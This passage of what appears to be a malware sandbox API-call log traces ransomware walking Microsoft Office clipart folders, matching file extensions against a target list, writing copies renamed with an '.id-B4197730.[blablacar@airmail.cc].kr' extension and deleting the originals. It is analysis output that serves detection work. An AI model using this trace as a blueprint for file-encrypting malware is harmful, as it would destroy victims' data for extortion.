lpString2="WMF") returned -1 [0202.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.896] lstrlenW (lpString=".dbf") returned 4 [0202.896] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.896] lstrlenW (lpString=".1cd") returned 4 [0202.896] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.896] lstrlenW (lpString=".jpg") returned 4 [0202.896] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.896] lstrlenW (lpString=".doc") returned 4 [0202.896] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.896] lstrlenW (lpString=".docx") returned 5 [0202.896] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0202.896] lstrlenW (lpString=".pdf") returned 4 [0202.896] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.896] lstrlenW (lpString=".xls") returned 4 [0202.896] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.896] lstrlenW (lpString=".xlsx") returned 5 [0202.896] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0202.896] lstrlenW (lpString=".ppt") returned 4 [0202.896] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.896] lstrlenW (lpString=".zip") returned 4 [0202.896] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.896] lstrlenW (lpString=".rar") returned 4 [0202.896] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.896] lstrlenW (lpString=".bz2") returned 4 [0202.896] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.896] lstrlenW (lpString=".7z") returned 3 [0202.896] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.897] lstrlenW (lpString=".dbf") returned 4 [0202.897] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.897] lstrlenW (lpString=".1cd") returned 4 [0202.897] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.897] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099178.WMF") returned 68 [0202.897] lstrlenW (lpString=".jpg") returned 4 [0202.897] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.897] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0202.897] lstrlenW (lpString="J0099179.WMF") returned 12 [0202.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.898] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=9154) returned 1 [0202.898] CloseHandle (hObject=0x55c) returned 1 [0202.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220 [0202.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c [0202.899] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.899] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0202.899] GetLastError () returned 0x0 [0202.899] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x23c2, lpOverlapped=0x0) returned 1 [0202.901] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x23d0, lpOverlapped=0x0) returned 1 [0202.902] ReadFile (in: hFile=0x55c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0202.902] WriteFile (in: hFile=0x540, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0202.902] SetEndOfFile (hFile=0x540) returned 1 [0202.902] CloseHandle (hObject=0x540) returned 1 [0202.902] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0202.902] SetEndOfFile (hFile=0x55c) returned 1 [0202.906] CloseHandle (hObject=0x55c) returned 1 [0202.906] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0202.906] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1 [0202.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.907] lstrlenW (lpString=".doc") returned 4 [0202.907] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.907] lstrlenW (lpString=".docx") returned 5 [0202.907] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0202.907] lstrlenW (lpString=".pdf") returned 4 [0202.907] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.907] lstrlenW (lpString=".xls") returned 4 [0202.907] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.907] lstrlenW (lpString=".xlsx") returned 5 [0202.907] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0202.907] lstrlenW (lpString=".ppt") returned 4 [0202.907] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.907] lstrlenW (lpString=".zip") returned 4 [0202.907] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.907] lstrlenW (lpString=".rar") returned 4 [0202.907] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.907] lstrlenW (lpString=".bz2") returned 4 [0202.907] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.907] lstrlenW (lpString=".7z") returned 3 [0202.907] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.907] lstrlenW (lpString=".dbf") returned 4 [0202.907] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.907] lstrlenW (lpString=".1cd") returned 4 [0202.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.907] lstrlenW (lpString=".jpg") returned 4 [0202.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.908] lstrlenW (lpString=".doc") returned 4 [0202.908] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0202.908] lstrlenW (lpString=".docx") returned 5 [0202.908] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0202.908] lstrlenW (lpString=".pdf") returned 4 [0202.908] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0202.908] lstrlenW (lpString=".xls") returned 4 [0202.908] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0202.908] lstrlenW (lpString=".xlsx") returned 5 [0202.908] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0202.908] lstrlenW (lpString=".ppt") returned 4 [0202.908] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.908] lstrlenW (lpString=".zip") returned 4 [0202.908] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0202.908] lstrlenW (lpString=".rar") returned 4 [0202.908] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0202.908] lstrlenW (lpString=".bz2") returned 4 [0202.908] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0202.908] lstrlenW (lpString=".7z") returned 3 [0202.908] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.908] lstrlenW (lpString=".dbf") returned 4 [0202.908] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.908] lstrlenW (lpString=".1cd") returned 4 [0202.908] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0202.908] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68 [0202.908] lstrlenW (lpString=".jpg") returned 4 [0202.908] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0203.192] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0203.192] lstrlenW (lpString="J0099187.JPG") returned 12 [0203.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0203.409] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=24528) returned 1 [0203.409] CloseHandle (hObject=0x574) returned 1 [0203.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0203.409] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0203.700] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.700] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0203.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0204.503] GetLastError () returned 0x0 [0204.503] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0204.505] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0204.507] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.507] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0204.507] SetEndOfFile (hFile=0x410) returned 1 [0204.507] CloseHandle (hObject=0x410) returned 1 [0204.507] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.507] SetEndOfFile (hFile=0x51c) returned 1 [0204.510] CloseHandle (hObject=0x51c) returned 1 [0204.510] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.510] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0204.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.511] lstrlenW (lpString=".doc") returned 4 [0204.511] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0204.511] lstrlenW (lpString=".docx") returned 5 [0204.511] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0204.511] lstrlenW (lpString=".pdf") returned 4 [0204.511] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0204.511] lstrlenW (lpString=".xls") returned 4 [0204.511] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0204.511] lstrlenW (lpString=".xlsx") returned 5 [0204.511] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0204.511] lstrlenW (lpString=".ppt") returned 4 [0204.511] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0204.511] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.511] lstrlenW (lpString=".zip") returned 4 [0204.511] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0204.511] lstrlenW (lpString=".rar") returned 4 [0204.511] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0204.511] lstrlenW (lpString=".bz2") returned 4 [0204.512] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0204.512] lstrlenW (lpString=".7z") returned 3 [0204.512] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0204.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.512] lstrlenW (lpString=".dbf") returned 4 [0204.512] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0204.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.512] lstrlenW (lpString=".1cd") returned 4 [0204.512] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0204.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.512] lstrlenW (lpString=".jpg") returned 4 [0204.512] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0204.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.512] lstrlenW (lpString=".doc") returned 4 [0204.512] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0204.512] lstrlenW (lpString=".docx") returned 5 [0204.512] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0204.512] lstrlenW (lpString=".pdf") returned 4 [0204.512] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0204.512] lstrlenW (lpString=".xls") returned 4 [0204.512] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0204.512] lstrlenW (lpString=".xlsx") returned 5 [0204.512] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0204.512] lstrlenW (lpString=".ppt") returned 4 [0204.512] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0204.512] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.512] lstrlenW (lpString=".zip") returned 4 [0204.513] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0204.513] lstrlenW (lpString=".rar") returned 4 [0204.513] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0204.513] lstrlenW (lpString=".bz2") returned 4 [0204.513] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0204.513] lstrlenW (lpString=".7z") returned 3 [0204.513] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0204.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.513] lstrlenW (lpString=".dbf") returned 4 [0204.513] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0204.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.513] lstrlenW (lpString=".1cd") returned 4 [0204.513] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0204.513] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0204.513] lstrlenW (lpString=".jpg") returned 4 [0204.513] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0204.513] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0204.513] lstrlenW (lpString="J0099204.WMF") returned 12 [0204.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.514] GetFileSizeEx (in: hFile=0x51c, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=17854) returned 1 [0204.514] CloseHandle (hObject=0x51c) returned 1 [0204.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 0x220 [0204.514] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0204.514] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.515] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0204.515] GetLastError () returned 0x0 [0204.515] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x45be, lpOverlapped=0x0) returned 1 [0204.517] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0x45c0, lpOverlapped=0x0) returned 1 [0204.519] ReadFile (in: hFile=0x51c, lpBuffer=0x42cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.519] WriteFile (in: hFile=0x410, lpBuffer=0x42cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42cc020*, lpNumberOfBytesWritten=0x38bfc94*=0xec, lpOverlapped=0x0) returned 1 [0204.519] SetEndOfFile (hFile=0x410) returned 1 [0204.519] CloseHandle (hObject=0x410) returned 1 [0204.519] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.519] SetEndOfFile (hFile=0x51c) returned 1 [0204.522] CloseHandle (hObject=0x51c) returned 1 [0204.522] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.523] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099204.wmf")) returned 1 [0204.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.524] lstrlenW (lpString=".doc") returned 4 [0204.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0204.524] lstrlenW (lpString=".docx") returned 5 [0204.524] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0204.524] lstrlenW (lpString=".pdf") returned 4 [0204.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0204.524] lstrlenW (lpString=".xls") returned 4 [0204.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0204.524] lstrlenW (lpString=".xlsx") returned 5 [0204.524] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0204.524] lstrlenW (lpString=".ppt") returned 4 [0204.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0204.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.524] lstrlenW (lpString=".zip") returned 4 [0204.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0204.524] lstrlenW (lpString=".rar") returned 4 [0204.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0204.524] lstrlenW (lpString=".bz2") returned 4 [0204.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0204.524] lstrlenW (lpString=".7z") returned 3 [0204.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0204.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.524] lstrlenW (lpString=".dbf") returned 4 [0204.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0204.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099204.WMF") returned 68 [0204.524] lstrlenW (lpString=".1cd") returned 4 [0204.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0204.524] lstrlenW (lpString="C:\\Program Files\\Microsoft 